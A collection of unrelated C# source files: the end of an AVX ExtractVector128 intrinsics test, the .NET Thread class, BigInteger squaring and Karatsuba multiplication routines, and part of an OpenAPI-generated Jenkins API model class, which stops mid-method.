var result = Avx.ExtractVector128(firstOp, 1);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(firstOp, _dataTable.outArrayPtr);
}
public void RunLclVarScenario_LoadAligned()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunLclVarScenario_LoadAligned));
var firstOp = Avx.LoadAlignedVector256((Double*)(_dataTable.inArrayPtr));
var result = Avx.ExtractVector128(firstOp, 1);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(firstOp, _dataTable.outArrayPtr);
}
public void RunClassLclFldScenario()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunClassLclFldScenario));
var test = new ImmUnaryOpTest__ExtractVector128Double1();
var result = Avx.ExtractVector128(test._fld, 1);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(test._fld, _dataTable.outArrayPtr);
}
public void RunClassFldScenario()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunClassFldScenario));
var result = Avx.ExtractVector128(_fld, 1);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(_fld, _dataTable.outArrayPtr);
}
public void RunStructLclFldScenario()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunStructLclFldScenario));
var test = TestStruct.Create();
var result = Avx.ExtractVector128(test._fld, 1);
Unsafe.Write(_dataTable.outArrayPtr, result);
ValidateResult(test._fld, _dataTable.outArrayPtr);
}
public void RunStructFldScenario()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunStructFldScenario));
var test = TestStruct.Create();
test.RunStructFldScenario(this);
}
public void RunUnsupportedScenario()
{
TestLibrary.TestFramework.BeginScenario(nameof(RunUnsupportedScenario));
bool succeeded = false;
try
{
RunBasicScenario_UnsafeRead();
}
catch (PlatformNotSupportedException)
{
succeeded = true;
}
if (!succeeded)
{
Succeeded = false;
}
}
private void ValidateResult(Vector256<Double> firstOp, void* result, [CallerMemberName] string method = "")
{
Double[] inArray = new Double[Op1ElementCount];
Double[] outArray = new Double[RetElementCount];
Unsafe.WriteUnaligned(ref Unsafe.As<Double, byte>(ref inArray[0]), firstOp);
Unsafe.CopyBlockUnaligned(ref Unsafe.As<Double, byte>(ref outArray[0]), ref Unsafe.AsRef<byte>(result), (uint)Unsafe.SizeOf<Vector128<Double>>());
ValidateResult(inArray, outArray, method);
}
private void ValidateResult(void* firstOp, void* result, [CallerMemberName] string method = "")
{
Double[] inArray = new Double[Op1ElementCount];
Double[] outArray = new Double[RetElementCount];
Unsafe.CopyBlockUnaligned(ref Unsafe.As<Double, byte>(ref inArray[0]), ref Unsafe.AsRef<byte>(firstOp), (uint)Unsafe.SizeOf<Vector256<Double>>());
Unsafe.CopyBlockUnaligned(ref Unsafe.As<Double, byte>(ref outArray[0]), ref Unsafe.AsRef<byte>(result), (uint)Unsafe.SizeOf<Vector128<Double>>());
ValidateResult(inArray, outArray, method);
}
private void ValidateResult(Double[] firstOp, Double[] result, [CallerMemberName] string method = "")
{
bool succeeded = true;
if (BitConverter.DoubleToInt64Bits(result[0]) != BitConverter.DoubleToInt64Bits(firstOp[2]))
{
succeeded = false;
}
else
{
for (var i = 1; i < RetElementCount; i++)
{
if (BitConverter.DoubleToInt64Bits(result[i]) != BitConverter.DoubleToInt64Bits(firstOp[i+2]))
{
succeeded = false;
break;
}
}
}
if (!succeeded)
{
TestLibrary.TestFramework.LogInformation($"{nameof(Avx)}.{nameof(Avx.ExtractVector128)}<Double>(Vector256<Double><9>): {method} failed:");
TestLibrary.TestFramework.LogInformation($" firstOp: ({string.Join(", ", firstOp)})");
TestLibrary.TestFramework.LogInformation($" result: ({string.Join(", ", result)})");
TestLibrary.TestFramework.LogInformation(string.Empty);
Succeeded = false;
}
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using Internal.Runtime.Augments;
using System.Collections.Generic;
using System.Diagnostics;
using System.Globalization;
using System.Runtime.ConstrainedExecution;
using System.Security.Principal;
namespace System.Threading
{
public sealed partial class Thread : CriticalFinalizerObject
{
[ThreadStatic]
private static Thread t_currentThread;
private readonly RuntimeThread _runtimeThread;
private Delegate _start;
private IPrincipal _principal;
private Thread(RuntimeThread runtimeThread)
{
Debug.Assert(runtimeThread != null);
_runtimeThread = runtimeThread;
}
public Thread(ThreadStart start)
{
if (start == null)
{
throw new ArgumentNullException(nameof(start));
}
_runtimeThread = RuntimeThread.Create(ThreadMain_ThreadStart);
Debug.Assert(_runtimeThread != null);
_start = start;
}
public Thread(ThreadStart start, int maxStackSize)
{
if (start == null)
{
throw new ArgumentNullException(nameof(start));
}
if (maxStackSize < 0)
{
throw new ArgumentOutOfRangeException(nameof(maxStackSize), SR.ArgumentOutOfRange_NeedNonnegativeNumber);
}
_runtimeThread = RuntimeThread.Create(ThreadMain_ThreadStart, maxStackSize);
Debug.Assert(_runtimeThread != null);
_start = start;
}
public Thread(ParameterizedThreadStart start)
{
if (start == null)
{
throw new ArgumentNullException(nameof(start));
}
_runtimeThread = RuntimeThread.Create(ThreadMain_ParameterizedThreadStart);
Debug.Assert(_runtimeThread != null);
_start = start;
}
public Thread(ParameterizedThreadStart start, int maxStackSize)
{
if (start == null)
{
throw new ArgumentNullException(nameof(start));
}
if (maxStackSize < 0)
{
throw new ArgumentOutOfRangeException(nameof(maxStackSize), SR.ArgumentOutOfRange_NeedNonnegativeNumber);
}
_runtimeThread = RuntimeThread.Create(ThreadMain_ParameterizedThreadStart, maxStackSize);
Debug.Assert(_runtimeThread != null);
_start = start;
}
private void ThreadMain_ThreadStart()
{
t_currentThread = this;
Delegate start = _start;
_start = null;
Debug.Assert(start is ThreadStart);
((ThreadStart)start)();
}
private void ThreadMain_ParameterizedThreadStart(object parameter)
{
t_currentThread = this;
Delegate start = _start;
_start = null;
Debug.Assert(start is ParameterizedThreadStart);
((ParameterizedThreadStart)start)(parameter);
}
public static Thread CurrentThread
{
get
{
Thread currentThread = t_currentThread;
if (currentThread == null)
{
t_currentThread = currentThread = new Thread(RuntimeThread.CurrentThread);
}
return currentThread;
}
}
private void RequireCurrentThread()
{
if (this != CurrentThread)
{
throw new InvalidOperationException(SR.Thread_Operation_RequiresCurrentThread);
}
}
public CultureInfo CurrentCulture
{
get
{
RequireCurrentThread();
return CultureInfo.CurrentCulture;
}
set
{
RequireCurrentThread();
CultureInfo.CurrentCulture = value;
}
}
public CultureInfo CurrentUICulture
{
get
{
RequireCurrentThread();
return CultureInfo.CurrentUICulture;
}
set
{
RequireCurrentThread();
CultureInfo.CurrentUICulture = value;
}
}
public static IPrincipal CurrentPrincipal
{
get
{
return CurrentThread._principal ?? (CurrentThread._principal = AppDomain.CurrentDomain.GetThreadPrincipal());
}
set
{
CurrentThread._principal = value;
}
}
public ExecutionContext ExecutionContext => ExecutionContext.Capture();
public bool IsAlive => _runtimeThread.IsAlive;
public bool IsBackground { get { return _runtimeThread.IsBackground; } set { _runtimeThread.IsBackground = value; } }
public bool IsThreadPoolThread => _runtimeThread.IsThreadPoolThread;
public int ManagedThreadId => _runtimeThread.ManagedThreadId;
public string Name { get { return _runtimeThread.Name; } set { _runtimeThread.Name = value; } }
public ThreadPriority Priority { get { return _runtimeThread.Priority; } set { _runtimeThread.Priority = value; } }
public ThreadState ThreadState => _runtimeThread.ThreadState;
public void Abort()
{
throw new PlatformNotSupportedException(SR.PlatformNotSupported_ThreadAbort);
}
public void Abort(object stateInfo)
{
throw new PlatformNotSupportedException(SR.PlatformNotSupported_ThreadAbort);
}
public static void ResetAbort()
{
throw new PlatformNotSupportedException(SR.PlatformNotSupported_ThreadAbort);
}
[ObsoleteAttribute("Thread.Suspend has been deprecated. Please use other classes in System.Threading, such as Monitor, Mutex, Event, and Semaphore, to synchronize Threads or protect resources. https://go.microsoft.com/fwlink/?linkid=14202", false)]
public void Suspend()
{
throw new PlatformNotSupportedException(SR.PlatformNotSupported_ThreadSuspend);
}
[ObsoleteAttribute("Thread.Resume has been deprecated. Please use other classes in System.Threading, such as Monitor, Mutex, Event, and Semaphore, to synchronize Threads or protect resources. https://go.microsoft.com/fwlink/?linkid=14202", false)]
public void Resume()
{
throw new PlatformNotSupportedException(SR.PlatformNotSupported_ThreadSuspend);
}
// Currently, no special handling is done for critical regions, and no special handling is necessary to ensure thread
// affinity. If that changes, the relevant functions would instead need to delegate to RuntimeThread.
public static void BeginCriticalRegion() { }
public static void EndCriticalRegion() { }
public static void BeginThreadAffinity() { }
public static void EndThreadAffinity() { }
public static LocalDataStoreSlot AllocateDataSlot() => LocalDataStore.AllocateSlot();
public static LocalDataStoreSlot AllocateNamedDataSlot(string name) => LocalDataStore.AllocateNamedSlot(name);
public static LocalDataStoreSlot GetNamedDataSlot(string name) => LocalDataStore.GetNamedSlot(name);
public static void FreeNamedDataSlot(string name) => LocalDataStore.FreeNamedSlot(name);
public static object GetData(LocalDataStoreSlot slot) => LocalDataStore.GetData(slot);
public static void SetData(LocalDataStoreSlot slot, object data) => LocalDataStore.SetData(slot, data);
[Obsolete("The ApartmentState property has been deprecated. Use GetApartmentState, SetApartmentState or TrySetApartmentState instead.", false)]
public ApartmentState ApartmentState
{
get
{
return GetApartmentState();
}
set
{
TrySetApartmentState(value);
}
}
public void SetApartmentState(ApartmentState state)
{
if (!TrySetApartmentState(state))
{
throw GetApartmentStateChangeFailedException();
}
}
public bool TrySetApartmentState(ApartmentState state)
{
switch (state)
{
case ApartmentState.STA:
case ApartmentState.MTA:
case ApartmentState.Unknown:
break;
default:
throw new ArgumentOutOfRangeException(SR.ArgumentOutOfRange_Enum, nameof(state));
}
return TrySetApartmentStateUnchecked(state);
}
private static int ToTimeoutMilliseconds(TimeSpan timeout)
{
var timeoutMilliseconds = (long)timeout.TotalMilliseconds;
if (timeoutMilliseconds < -1 || timeoutMilliseconds > int.MaxValue)
{
throw new ArgumentOutOfRangeException(nameof(timeout), SR.ArgumentOutOfRange_TimeoutMilliseconds);
}
return (int)timeoutMilliseconds;
}
[Obsolete("Thread.GetCompressedStack is no longer supported. Please use the System.Threading.CompressedStack class")]
public CompressedStack GetCompressedStack()
{
throw new InvalidOperationException(SR.Thread_GetSetCompressedStack_NotSupported);
}
[Obsolete("Thread.SetCompressedStack is no longer supported. Please use the System.Threading.CompressedStack class")]
public void SetCompressedStack(CompressedStack stack)
{
throw new InvalidOperationException(SR.Thread_GetSetCompressedStack_NotSupported);
}
public static int GetCurrentProcessorId() => RuntimeThread.GetCurrentProcessorId();
public static AppDomain GetDomain() => AppDomain.CurrentDomain;
public static int GetDomainID() => GetDomain().Id;
public override int GetHashCode() => ManagedThreadId;
public void Interrupt() => _runtimeThread.Interrupt();
public void Join() => _runtimeThread.Join();
public bool Join(int millisecondsTimeout) => _runtimeThread.Join(millisecondsTimeout);
public bool Join(TimeSpan timeout) => Join(ToTimeoutMilliseconds(timeout));
public static void MemoryBarrier() => Interlocked.MemoryBarrier();
public static void Sleep(int millisecondsTimeout) => RuntimeThread.Sleep(millisecondsTimeout);
public static void Sleep(TimeSpan timeout) => Sleep(ToTimeoutMilliseconds(timeout));
public static void SpinWait(int iterations) => RuntimeThread.SpinWait(iterations);
public static bool Yield() => RuntimeThread.Yield();
public void Start() => _runtimeThread.Start();
public void Start(object parameter) => _runtimeThread.Start(parameter);
public static byte VolatileRead(ref byte address) => Volatile.Read(ref address);
public static double VolatileRead(ref double address) => Volatile.Read(ref address);
public static short VolatileRead(ref short address) => Volatile.Read(ref address);
public static int VolatileRead(ref int address) => Volatile.Read(ref address);
public static long VolatileRead(ref long address) => Volatile.Read(ref address);
public static IntPtr VolatileRead(ref IntPtr address) => Volatile.Read(ref address);
public static object VolatileRead(ref object address) => Volatile.Read(ref address);
[CLSCompliant(false)]
public static sbyte VolatileRead(ref sbyte address) => Volatile.Read(ref address);
public static float VolatileRead(ref float address) => Volatile.Read(ref address);
[CLSCompliant(false)]
public static ushort VolatileRead(ref ushort address) => Volatile.Read(ref address);
[CLSCompliant(false)]
public static uint VolatileRead(ref uint address) => Volatile.Read(ref address);
[CLSCompliant(false)]
public static ulong VolatileRead(ref ulong address) => Volatile.Read(ref address);
[CLSCompliant(false)]
public static UIntPtr VolatileRead(ref UIntPtr address) => Volatile.Read(ref address);
public static void VolatileWrite(ref byte address, byte value) => Volatile.Write(ref address, value);
public static void VolatileWrite(ref double address, double value) => Volatile.Write(ref address, value);
public static void VolatileWrite(ref short address, short value) => Volatile.Write(ref address, value);
public static void VolatileWrite(ref int address, int value) => Volatile.Write(ref address, value);
public static void VolatileWrite(ref long address, long value) => Volatile.Write(ref address, value);
public static void VolatileWrite(ref IntPtr address, IntPtr value) => Volatile.Write(ref address, value);
public static void VolatileWrite(ref object address, object value) => Volatile.Write(ref address, value);
[CLSCompliant(false)]
public static void VolatileWrite(ref sbyte address, sbyte value) => Volatile.Write(ref address, value);
public static void VolatileWrite(ref float address, float value) => Volatile.Write(ref address, value);
[CLSCompliant(false)]
public static void VolatileWrite(ref ushort address, ushort value) => Volatile.Write(ref address, value);
[CLSCompliant(false)]
public static void VolatileWrite(ref uint address, uint value) => Volatile.Write(ref address, value);
[CLSCompliant(false)]
public static void VolatileWrite(ref ulong address, ulong value) => Volatile.Write(ref address, value);
[CLSCompliant(false)]
public static void VolatileWrite(ref UIntPtr address, UIntPtr value) => Volatile.Write(ref address, value);
/// <summary>
/// Manages functionality required to support members of <see cref="Thread"/> dealing with thread-local data
/// </summary>
private static class LocalDataStore
{
private static Dictionary<string, LocalDataStoreSlot> s_nameToSlotMap;
public static LocalDataStoreSlot AllocateSlot()
{
return new LocalDataStoreSlot(new ThreadLocal<object>());
}
public static Dictionary<string, LocalDataStoreSlot> EnsureNameToSlotMap()
{
Dictionary<string, LocalDataStoreSlot> nameToSlotMap = s_nameToSlotMap;
if (nameToSlotMap != null)
{
return nameToSlotMap;
}
nameToSlotMap = new Dictionary<string, LocalDataStoreSlot>();
return Interlocked.CompareExchange(ref s_nameToSlotMap, nameToSlotMap, null) ?? nameToSlotMap;
}
public static LocalDataStoreSlot AllocateNamedSlot(string name)
{
LocalDataStoreSlot slot = AllocateSlot();
Dictionary<string, LocalDataStoreSlot> nameToSlotMap = EnsureNameToSlotMap();
lock (nameToSlotMap)
{
nameToSlotMap.Add(name, slot);
}
return slot;
}
public static LocalDataStoreSlot GetNamedSlot(string name)
{
Dictionary<string, LocalDataStoreSlot> nameToSlotMap = EnsureNameToSlotMap();
lock (nameToSlotMap)
{
LocalDataStoreSlot slot;
if (!nameToSlotMap.TryGetValue(name, out slot))
{
slot = AllocateSlot();
nameToSlotMap[name] = slot;
}
return slot;
}
}
public static void FreeNamedSlot(string name)
{
Dictionary<string, LocalDataStoreSlot> nameToSlotMap = EnsureNameToSlotMap();
lock (nameToSlotMap)
{
nameToSlotMap.Remove(name);
}
}
private static ThreadLocal<object> GetThreadLocal(LocalDataStoreSlot slot)
{
if (slot == null)
{
throw new ArgumentNullException(nameof(slot));
}
Debug.Assert(slot.Data != null);
return slot.Data;
}
public static object GetData(LocalDataStoreSlot slot)
{
return GetThreadLocal(slot).Value;
}
public static void SetData(LocalDataStoreSlot slot, object value)
{
GetThreadLocal(slot).Value = value;
}
}
}
}
| |
// Licensed to the .NET Foundation under one or more agreements.
// The .NET Foundation licenses this file to you under the MIT license.
// See the LICENSE file in the project root for more information.
using System.Diagnostics;
using System.Security;
namespace System.Numerics
{
internal static partial class BigIntegerCalculator
{
public static unsafe uint[] Square(uint[] value)
{
Debug.Assert(value != null);
// Switching to unsafe pointers helps sparing
// some nasty index calculations...
uint[] bits = new uint[value.Length + value.Length];
fixed (uint* v = value, b = bits)
{
Square(v, value.Length,
b, bits.Length);
}
return bits;
}
// Mutable for unit testing...
private static int SquareThreshold = 32;
private static int AllocationThreshold = 256;
private static unsafe void Square(uint* value, int valueLength,
uint* bits, int bitsLength)
{
Debug.Assert(valueLength >= 0);
Debug.Assert(bitsLength == valueLength + valueLength);
// Executes different algorithms for computing z = a * a
// based on the actual length of a. If a is "small" enough
// we stick to the classic "grammar-school" method; for the
// rest we switch to implementations with less complexity
// albeit more overhead (which needs to pay off!).
// NOTE: useful thresholds needs some "empirical" testing,
// which are smaller in DEBUG mode for testing purpose.
if (valueLength < SquareThreshold)
{
// Squares the bits using the "grammar-school" method.
// Envisioning the "rhombus" of a pen-and-paper calculation
// we see that computing z_i+j += a_j * a_i can be optimized
// since a_j * a_i = a_i * a_j (we're squaring after all!).
// Thus, we directly get z_i+j += 2 * a_j * a_i + c.
// ATTENTION: an ordinary multiplication is safe, because
// z_i+j + a_j * a_i + c <= 2(2^32 - 1) + (2^32 - 1)^2 =
// = 2^64 - 1 (which perfectly matches with ulong!). But
// here we would need an UInt65... Hence, we split these
// operation and do some extra shifts.
for (int i = 0; i < valueLength; i++)
{
ulong carry = 0UL;
for (int j = 0; j < i; j++)
{
ulong digit1 = bits[i + j] + carry;
ulong digit2 = (ulong)value[j] * value[i];
bits[i + j] = unchecked((uint)(digit1 + (digit2 << 1)));
carry = (digit2 + (digit1 >> 1)) >> 31;
}
ulong digits = (ulong)value[i] * value[i] + carry;
bits[i + i] = unchecked((uint)digits);
bits[i + i + 1] = (uint)(digits >> 32);
}
}
else
{
// Based on the Toom-Cook multiplication we split value
// into two smaller values, doing recursive squaring.
// The special form of this multiplication, where we
// split both operands into two operands, is also known
// as the Karatsuba algorithm...
// https://en.wikipedia.org/wiki/Toom-Cook_multiplication
// https://en.wikipedia.org/wiki/Karatsuba_algorithm
// Say we want to compute z = a * a ...
// ... we need to determine our new length (just the half)
int n = valueLength >> 1;
int n2 = n << 1;
// ... split value like a = (a_1 << n) + a_0
uint* valueLow = value;
int valueLowLength = n;
uint* valueHigh = value + n;
int valueHighLength = valueLength - n;
// ... prepare our result array (to reuse its memory)
uint* bitsLow = bits;
int bitsLowLength = n2;
uint* bitsHigh = bits + n2;
int bitsHighLength = bitsLength - n2;
// ... compute z_0 = a_0 * a_0 (squaring again!)
Square(valueLow, valueLowLength,
bitsLow, bitsLowLength);
// ... compute z_2 = a_1 * a_1 (squaring again!)
Square(valueHigh, valueHighLength,
bitsHigh, bitsHighLength);
int foldLength = valueHighLength + 1;
int coreLength = foldLength + foldLength;
if (coreLength < AllocationThreshold)
{
uint* fold = stackalloc uint[foldLength];
uint* core = stackalloc uint[coreLength];
// ... compute z_a = a_1 + a_0 (call it fold...)
Add(valueHigh, valueHighLength,
valueLow, valueLowLength,
fold, foldLength);
// ... compute z_1 = z_a * z_a - z_0 - z_2
Square(fold, foldLength,
core, coreLength);
SubtractCore(bitsHigh, bitsHighLength,
bitsLow, bitsLowLength,
core, coreLength);
// ... and finally merge the result! :-)
AddSelf(bits + n, bitsLength - n, core, coreLength);
}
else
{
fixed (uint* fold = new uint[foldLength],
core = new uint[coreLength])
{
// ... compute z_a = a_1 + a_0 (call it fold...)
Add(valueHigh, valueHighLength,
valueLow, valueLowLength,
fold, foldLength);
// ... compute z_1 = z_a * z_a - z_0 - z_2
Square(fold, foldLength,
core, coreLength);
SubtractCore(bitsHigh, bitsHighLength,
bitsLow, bitsLowLength,
core, coreLength);
// ... and finally merge the result! :-)
AddSelf(bits + n, bitsLength - n, core, coreLength);
}
}
}
}
public static uint[] Multiply(uint[] left, uint right)
{
Debug.Assert(left != null);
// Executes the multiplication for one big and one 32-bit integer.
// Since every step holds the already slightly familiar equation
// a_i * b + c <= 2^32 - 1 + (2^32 - 1)^2 < 2^64 - 1,
// we are safe regarding to overflows.
int i = 0;
ulong carry = 0UL;
uint[] bits = new uint[left.Length + 1];
for (; i < left.Length; i++)
{
ulong digits = (ulong)left[i] * right + carry;
bits[i] = unchecked((uint)digits);
carry = digits >> 32;
}
bits[i] = (uint)carry;
return bits;
}
public static unsafe uint[] Multiply(uint[] left, uint[] right)
{
Debug.Assert(left != null);
Debug.Assert(right != null);
Debug.Assert(left.Length >= right.Length);
// Switching to unsafe pointers helps sparing
// some nasty index calculations...
uint[] bits = new uint[left.Length + right.Length];
fixed (uint* l = left, r = right, b = bits)
{
Multiply(l, left.Length,
r, right.Length,
b, bits.Length);
}
return bits;
}
// Mutable for unit testing...
private static int MultiplyThreshold = 32;
private static unsafe void Multiply(uint* left, int leftLength,
uint* right, int rightLength,
uint* bits, int bitsLength)
{
Debug.Assert(leftLength >= 0);
Debug.Assert(rightLength >= 0);
Debug.Assert(leftLength >= rightLength);
Debug.Assert(bitsLength == leftLength + rightLength);
// Executes different algorithms for computing z = a * b
// based on the actual length of b. If b is "small" enough
// we stick to the classic "grammar-school" method; for the
// rest we switch to implementations with less complexity
// albeit more overhead (which needs to pay off!).
// NOTE: useful thresholds needs some "empirical" testing,
// which are smaller in DEBUG mode for testing purpose.
if (rightLength < MultiplyThreshold)
{
// Multiplies the bits using the "grammar-school" method.
// Envisioning the "rhombus" of a pen-and-paper calculation
// should help getting the idea of these two loops...
// The inner multiplication operations are safe, because
// z_i+j + a_j * b_i + c <= 2(2^32 - 1) + (2^32 - 1)^2 =
// = 2^64 - 1 (which perfectly matches with ulong!).
for (int i = 0; i < rightLength; i++)
{
ulong carry = 0UL;
for (int j = 0; j < leftLength; j++)
{
ulong digits = bits[i + j] + carry
+ (ulong)left[j] * right[i];
bits[i + j] = unchecked((uint)digits);
carry = digits >> 32;
}
bits[i + leftLength] = (uint)carry;
}
}
else
{
// Based on the Toom-Cook multiplication we split left/right
// into two smaller values, doing recursive multiplication.
// The special form of this multiplication, where we
// split both operands into two operands, is also known
// as the Karatsuba algorithm...
// https://en.wikipedia.org/wiki/Toom-Cook_multiplication
// https://en.wikipedia.org/wiki/Karatsuba_algorithm
// Say we want to compute z = a * b ...
// ... we need to determine our new length (just the half)
int n = rightLength >> 1;
int n2 = n << 1;
// ... split left like a = (a_1 << n) + a_0
uint* leftLow = left;
int leftLowLength = n;
uint* leftHigh = left + n;
int leftHighLength = leftLength - n;
// ... split right like b = (b_1 << n) + b_0
uint* rightLow = right;
int rightLowLength = n;
uint* rightHigh = right + n;
int rightHighLength = rightLength - n;
// ... prepare our result array (to reuse its memory)
uint* bitsLow = bits;
int bitsLowLength = n2;
uint* bitsHigh = bits + n2;
int bitsHighLength = bitsLength - n2;
// ... compute z_0 = a_0 * b_0 (multiply again)
Multiply(leftLow, leftLowLength,
rightLow, rightLowLength,
bitsLow, bitsLowLength);
// ... compute z_2 = a_1 * b_1 (multiply again)
Multiply(leftHigh, leftHighLength,
rightHigh, rightHighLength,
bitsHigh, bitsHighLength);
int leftFoldLength = leftHighLength + 1;
int rightFoldLength = rightHighLength + 1;
int coreLength = leftFoldLength + rightFoldLength;
if (coreLength < AllocationThreshold)
{
uint* leftFold = stackalloc uint[leftFoldLength];
uint* rightFold = stackalloc uint[rightFoldLength];
uint* core = stackalloc uint[coreLength];
// ... compute z_a = a_1 + a_0 (call it fold...)
Add(leftHigh, leftHighLength,
leftLow, leftLowLength,
leftFold, leftFoldLength);
// ... compute z_b = b_1 + b_0 (call it fold...)
Add(rightHigh, rightHighLength,
rightLow, rightLowLength,
rightFold, rightFoldLength);
// ... compute z_1 = z_a * z_b - z_0 - z_2
Multiply(leftFold, leftFoldLength,
rightFold, rightFoldLength,
core, coreLength);
SubtractCore(bitsHigh, bitsHighLength,
bitsLow, bitsLowLength,
core, coreLength);
// ... and finally merge the result! :-)
AddSelf(bits + n, bitsLength - n, core, coreLength);
}
else
{
fixed (uint* leftFold = new uint[leftFoldLength],
rightFold = new uint[rightFoldLength],
core = new uint[coreLength])
{
// ... compute z_a = a_1 + a_0 (call it fold...)
Add(leftHigh, leftHighLength,
leftLow, leftLowLength,
leftFold, leftFoldLength);
// ... compute z_b = b_1 + b_0 (call it fold...)
Add(rightHigh, rightHighLength,
rightLow, rightLowLength,
rightFold, rightFoldLength);
// ... compute z_1 = z_a * z_b - z_0 - z_2
Multiply(leftFold, leftFoldLength,
rightFold, rightFoldLength,
core, coreLength);
SubtractCore(bitsHigh, bitsHighLength,
bitsLow, bitsLowLength,
core, coreLength);
// ... and finally merge the result! :-)
AddSelf(bits + n, bitsLength - n, core, coreLength);
}
}
}
}
private static unsafe void SubtractCore(uint* left, int leftLength,
uint* right, int rightLength,
uint* core, int coreLength)
{
Debug.Assert(leftLength >= 0);
Debug.Assert(rightLength >= 0);
Debug.Assert(coreLength >= 0);
Debug.Assert(leftLength >= rightLength);
Debug.Assert(coreLength >= leftLength);
// Executes a special subtraction algorithm for the multiplication,
// which needs to subtract two different values from a core value,
// while core is always bigger than the sum of these values.
// NOTE: we could do an ordinary subtraction of course, but we spare
// one "run", if we do this computation within a single one...
int i = 0;
long carry = 0L;
for (; i < rightLength; i++)
{
long digit = (core[i] + carry) - left[i] - right[i];
core[i] = unchecked((uint)digit);
carry = digit >> 32;
}
for (; i < leftLength; i++)
{
long digit = (core[i] + carry) - left[i];
core[i] = unchecked((uint)digit);
carry = digit >> 32;
}
for (; carry != 0 && i < coreLength; i++)
{
long digit = core[i] + carry;
core[i] = (uint)digit;
carry = digit >> 32;
}
}
}
}
| |
/*
* Swaggy Jenkins
*
* Jenkins API clients generated from Swagger / Open API specification
*
* The version of the OpenAPI document: 1.1.2-pre.0
* Contact: blah@cliffano.com
* Generated by: https://github.com/openapitools/openapi-generator.git
*/
using System;
using System.Collections;
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Linq;
using System.IO;
using System.Runtime.Serialization;
using System.Text;
using System.Text.RegularExpressions;
using Newtonsoft.Json;
using Newtonsoft.Json.Converters;
using Newtonsoft.Json.Linq;
using System.ComponentModel.DataAnnotations;
using OpenAPIDateConverter = Org.OpenAPITools.Client.OpenAPIDateConverter;
namespace Org.OpenAPITools.Model
{
/// <summary>
/// InputStepImpl
/// </summary>
[DataContract(Name = "InputStepImpl")]
public partial class InputStepImpl : IEquatable<InputStepImpl>, IValidatableObject
{
/// <summary>
/// Initializes a new instance of the <see cref="InputStepImpl" /> class.
/// </summary>
/// <param name="_class">_class.</param>
/// <param name="links">links.</param>
/// <param name="id">id.</param>
/// <param name="message">message.</param>
/// <param name="ok">ok.</param>
/// <param name="parameters">parameters.</param>
/// <param name="submitter">submitter.</param>
public InputStepImpl(string _class = default(string), InputStepImpllinks links = default(InputStepImpllinks), string id = default(string), string message = default(string), string ok = default(string), List<StringParameterDefinition> parameters = default(List<StringParameterDefinition>), string submitter = default(string))
{
this.Class = _class;
this.Links = links;
this.Id = id;
this.Message = message;
this.Ok = ok;
this.Parameters = parameters;
this.Submitter = submitter;
}
/// <summary>
/// Gets or Sets Class
/// </summary>
[DataMember(Name = "_class", EmitDefaultValue = false)]
public string Class { get; set; }
/// <summary>
/// Gets or Sets Links
/// </summary>
[DataMember(Name = "_links", EmitDefaultValue = false)]
public InputStepImpllinks Links { get; set; }
/// <summary>
/// Gets or Sets Id
/// </summary>
[DataMember(Name = "id", EmitDefaultValue = false)]
public string Id { get; set; }
/// <summary>
/// Gets or Sets Message
/// </summary>
[DataMember(Name = "message", EmitDefaultValue = false)]
public string Message { get; set; }
/// <summary>
/// Gets or Sets Ok
/// </summary>
[DataMember(Name = "ok", EmitDefaultValue = false)]
public string Ok { get; set; }
/// <summary>
/// Gets or Sets Parameters
/// </summary>
[DataMember(Name = "parameters", EmitDefaultValue = false)]
public List<StringParameterDefinition> Parameters { get; set; }
/// <summary>
/// Gets or Sets Submitter
/// </summary>
[DataMember(Name = "submitter", EmitDefaultValue = false)]
public string Submitter { get; set; }
/// <summary>
/// Returns the string presentation of the object
/// </summary>
/// <returns>String presentation of the object</returns>
public override string ToString()
{
StringBuilder sb = new StringBuilder();
sb.Append("class InputStepImpl {\n");
sb.Append(" Class: ").Append(Class).Append("\n");
sb.Append(" Links: ").Append(Links).Append("\n");
sb.Append(" Id: ").Append(Id).Append("\n");
sb.Append(" Message: ").Append(Message).Append("\n");
sb.Append(" Ok: ").Append(Ok).Append("\n");
sb.Append(" Parameters: ").Append(Parameters).Append("\n");
sb.Append(" Submitter: ").Append(Submitter).Append("\n");
sb.Append("}\n");
return sb.ToString();
}
/// <summary>
/// Returns the JSON string presentation of the object
/// </summary>
/// <returns>JSON string presentation of the object</returns>
public virtual string ToJson()
{
return Newtonsoft.Json.JsonConvert.SerializeObject(this, Newtonsoft.Json.Formatting.Indented);
}
/// <summary>
/// Returns true if objects are equal
/// </summary>
/// <param name="input">Object to be compared</param>
/// <returns>Boolean</returns>
public override bool Equals(object input)
{
return this.Equals(input as InputStepImpl);
}
/// <summary>
/// Returns true if InputStepImpl instances are equal
/// </summary>
/// <param name="input">Instance of InputStepImpl to be compared</param>
/// <returns>Boolean</returns>
public bool Equals(InputStepImpl input)
{
if (input == null)
{
return false;
}
return
(
this.Class == input.Class ||
(this.Class != null &&
this.Class.Equals(input.Class))
) &&
(
this.Links == input.Links ||
(this.Links != null &&
this.Links.Equals(input.Links))
) &&
(
this.Id == input.Id ||
(this.Id != null &&
this.Id.Equals(input.Id))
) &&
(
this.Message == input.Message ||
(this.Message != null &&
this.Message.Equals(input.Message))
) &&
(
this.Ok == input.Ok ||
(this.Ok != null &&
this.Ok.Equals(input.Ok))
) &&
(
this.Parameters == input.Parameters ||
this.Parameters != null &&
input.Parameters != null &&
this.Parameters.SequenceEqual(input.Parameters)
) &&
(
this.Submitter == input.Submitter ||
(this.Submitter != null &&
this.Submitter.Equals(input.Submitter))
);
}
/// <summary>
/// Gets the hash code
/// </summary>
/// <returns>Hash code</returns>
public override int GetHashCode()
{
unchecked // Overflow is fine, just wrap
{
int hashCode = 41;
if (this.Class != null)
{
hashCode = (hashCode * 59) + this.Class.GetHashCode();
}
if (this.Links != null)
{
hashCode = (hashCode * 59) + this.Links.GetHashCode();
}
if (this.Id != null)
{
hashCode = (hashCode * 59) + this.Id.GetHashCode();
}
if (this.Message != null)
